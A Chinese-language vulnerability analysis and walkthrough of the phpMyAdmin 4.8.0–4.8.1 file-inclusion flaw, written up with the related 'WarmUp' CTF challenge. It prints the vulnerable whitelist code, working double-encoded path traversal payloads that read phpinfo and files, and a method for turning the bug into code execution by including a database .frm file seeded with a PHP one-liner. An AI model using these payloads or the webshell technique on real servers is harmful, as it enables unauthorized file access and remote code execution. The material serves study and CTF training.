0x00 漏洞描述
攻擊者利用發現在服務器上包含(查看和潛在執行)文件的漏洞。該漏洞來自一部分代碼,其中頁面在phpMyAdmin中被重定向和加載,以及對白名單頁面進行不正確的測試。 攻擊者必須經過身份驗證,但在這些情況下除外:
- $ cfg [‘AllowArbitraryServer’] = true:攻擊者可以指定他/她已經控制的任何主機,並在phpMyAdmin上執行任意代碼;
- $ cfg [‘ServerDefault’] = 0:這會繞過登錄並在沒有任何身份驗證的情況下運行易受攻擊的代碼。
0x01 漏洞影響範圍
phpMyAdmin 4.8.0和4.8.1
0x02 漏洞復現環境
phpstudy+phpmyadmin4.8.1
0x03 漏洞分析
-
漏洞問題出在index.php的第55行開始位置:
1.target參數沒有過濾,並且直接include,很顯然是LFI的前奏
2.第57行限制 target 參數不能以index開頭
3.第58行限制 target 參數不能出現在 $target_blacklist 內
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
-
$target_blacklist 的定義:
在 /index.php 的第50行,只要 target 參數不是import.php 或 export.php 就行
$target_blacklist = array ( 'import.php', 'export.php' );
-
最後一個限制方法
phpMyAdmin/libraries/classes/core.php
找到Core類的checkPageValidity方法
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
問題出現在第 465 行的urldecode() 我們可以利用這個函數繞過白名單檢測,只要把 ? 兩次url編碼爲 %253f 即可繞過驗證。
0x04 漏洞利用
-
讀取phpinfo
payload:http://192.168.115.130/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/phpStudy/WWW/phpinfo.php
即可讀取到phpinfo的內容
-
寫入shell
新建數據庫,新建數據表test,在數據表裏面添加一句話
此時會在phpStudy/MySQL/data對應數據庫下生成一個frm文件
訪問http://192.168.115.130/phpmyadmin/index.php?0xdawn=phpinfo();&target=db_sql.php%253f/…/…/…/…/…/…/phpStudy/MySQL/data/0xdawn/test.frm
0x05 相關CTF賽題
buuoj.cn web部分 WarmUp
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
function checkFile():
- 變量未聲明、非字符串:return false
- $page未在白名單中:return false
- 以’?'爲分割符取出前面字符後得到$_page
- $_page未在白名單中:return false
- url解碼後,重複以上3、4步操作
最後如果request得到的file值非空、是字符串且通過了checkFile,則包含file
因爲服務器會自動url解碼一次,這裏用二次編碼
payload:source.php?file=hint.php%253f../../../../../../../ffffllllaaaagggg